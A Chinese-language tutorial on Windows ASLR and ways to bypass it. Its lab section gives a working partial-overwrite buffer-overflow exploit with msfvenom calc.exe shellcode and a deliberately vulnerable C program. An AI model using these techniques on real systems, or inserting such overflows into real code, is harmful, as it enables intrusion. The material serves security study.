ASLR保護機制
ASLR簡介
微軟在Windows Vista、2008 server、Windows 7、Windows 8等系統的發布中, 開始將ASLR作為內置的系統保護機制運行, 將系統映像的基址設置到1/256的random slot上, 同時將各個線程的堆棧和堆進行隨機化。這需要程序和系統的雙重支持, 但是程序的支持並不是一定的。可以使用如下注冊表選項來使用或禁用 ASLR 之於所有的程序映像:
Edit HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ and add a new key called “ MoveImages” (DWORD)。
該鍵的可能取值如下:
0 :永遠不進行基於內存的映像基址隨機化, 基地址的選擇始終以可執行文件的PE頭部指定的基址為准;
-1 :隨機化所有的可以重定位的程序映像, 無論它們是否在PE頭部指定了IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE標記。
也可以在編寫程序時使用/dynamicbase鏈接器選項來確定編寫的程序是否使用該保護機制。微軟從Visual Studio 2005開始加入了/dynamicbase鏈接選項, 選擇該鏈接選項的程序會在生成的PE頭中設置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE標識來說明其支持ASLR。
實際分析中, 可以 使用 PE 工具查看 DllCharacteristics 域是否包含 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE(0× 40) , 或者使用ImmunityDebugger 的 !ASLRdynamicbase 命令, 查看當前調試會話中所有模塊的 ASLR使能狀態。
ASLR工作原理:
在Windows下, ASLR主要表現在三個方面:映像基址隨機化、堆棧基址隨機化和PEB/TEB隨機化。
1)映像基址隨機化
當可執行文件或動態鏈接庫文件被映射到內存時, 系統會對其虛擬地址進行隨機化。
由於主要是對各模塊載入內存的基地址進行隨機化處理, 所以叫映像基址隨機化。微軟Windows系列操作系統的內存隨機化使系統每次初始化過程中, 隨機分配各個模塊的基地址, 所以同一個模塊在系統重啟后, 其基地址是不同的。如下圖所示是系統重啟前后, Windbg加載同一個應用程序時顯示的各模塊基地址。可以看出, 系統重啟后, 各模塊的首地址是變化的。
2)堆棧基址隨機化
程序在啟動時, 系統會隨機選擇堆棧的基址, 從而導致內存中的各種變量地址發生變化。程序每次啟動后, 其所占用的堆棧地址可能完全不同。與映像基址隨機化在系統初始化的過程中隨機加載不同, 堆棧基址隨機化是在程序每次啟動時實施的。下圖所示是將同一個程序兩次載入Windbg后, 其所占用的堆棧地址。
3)PEB/TEB隨機化
進程環境塊(Process Environment Block, PEB)和線程環境塊(Thread Environment Block, TEB)隨機化在Windows XP時代就已經引入系統中, 但是發展到Windows 8系統, PEB/TEB的隨機化仍然做得不是很好。圖3所示是Win7下Windbg兩次加載同一進程所顯示的PEB/TEB地址。
ASLR繞過思路
i.攻擊未啟用ASLR的模塊:
在未啟用ASLR的模塊中,找到固定的指令地址轉入pyload執行。
ii.Off by one 思想:
因為映像基址隨機化只是對加載地址的前兩個字節進行了隨機化, 后面兩個字節根本沒有變化。而在內存中, 地址是以Little-Endian的方式存儲的, 所以理論上, 在一些情況下攻擊者可以利用返回地址的部分覆蓋來實施攻擊。以32位系統的ASLR繞過為例, 覆蓋EIP的高地址存儲位置的2個字節, 可以完成可行的跳轉。
iii.利用堆噴技術定位內存地址:
堆噴搶占內存之后,我們可以確定占領某一內存地址(例如0x0c0c0c0c0c)附近的內存,只要控制程序轉入0x0c0c0c0c執行,經過若干個0x90滑行就到達payload執行就可以。
iv.基於SharedUserData的方法
從Windows NT 4到Windows 8, 內存地址0x7ffe0000處都是SharedUserData結構。在其偏移0x300處總是指向KiFastSystemCall函數, 而這個函數是在ntdll.dll中。也就是說, 只要攻擊者有一次讀取內存的機會, 就能獲取ntdll的基址, 從而繞過ASLR保護。具體步驟如下:
1)讀取0x7ffe0300處的4字節數據, 即為KiFastSystemCall函數地址, 記為Address_K;
2)使用IDA或Depends, 查找KiFastSystemCall函數在ntdll中的偏移, 從而計算出ntdll基址;
3)通過相對偏移在ntdll中定位到所需要的指令地址, 從而繞過ASLR。
下圖是是32位Windows 7系統下KiFastSystemCall函數地址。
通過覆蓋部分地址繞過ASLR
⑴. 原理分析:
通過覆蓋部分地址繞過ASLR的思想,也就是上文繞過思路中提到的off by one思想。因為映像基址隨機化只是對加載地址的前兩個字節進行了隨機化, 后面兩個字節根本沒有變化。所以可以通過覆蓋后兩個字節,在0x0000—0xFFFF的地址空間內尋找跳板,控制EIP,轉入payload執行。
⑵.環境准備:
i.實驗代碼:
#include "stdafx.h"
#include "stdlib.h"
char shellcode[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x42\x14"
;
char * test()
{
char tt[256];
memcpy(tt,shellcode,262);
return tt;
}
int _tmain(int argc, _TCHAR* argv[])
{
char temp[200];
test();
return 0;
}
ii.測試環境:
測試平台:Windows 7 32位
編譯器:visual 2008
編譯環境:
關閉\GS,DEP保護機制,開啟ASLR保護機制。
⑶.調試分析:
i.緩沖區起始地址:保存在eax寄存器中
ii.返回地址
第一次運行:
重啟后運行:
可以看到,前兩個字節(高地址)是不斷會變化的,但是后兩個字節(低地址位)是固定的。
所以我們可以通過覆蓋低地址位實現控制EIP。
⑷.攻擊過程:
i.確定跳板:
第一, payload起始地址小於返回地址,所以不能使用jmp esp這類地址,觀察,寄存器eax保存有payload的起始地址,所以,我們只要在當前程序的指令空間里(因為能控制的只是當前程序隨機地址化后的兩個字節)找到jmp eax指令就可以控制EIP,跳入payload了。
第二, 在程序指令空間查找jmp esp
還是用之前用過的OllyFindAddr插件(或者直接搜索指令也可以),得到結果。
這里,使用地址0xXXXX1442做為跳轉地址。
ii.生成payload:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
iii.構造shellcode:
綜上所述,shellcode結構如下:
iv.攻擊結果:
成功。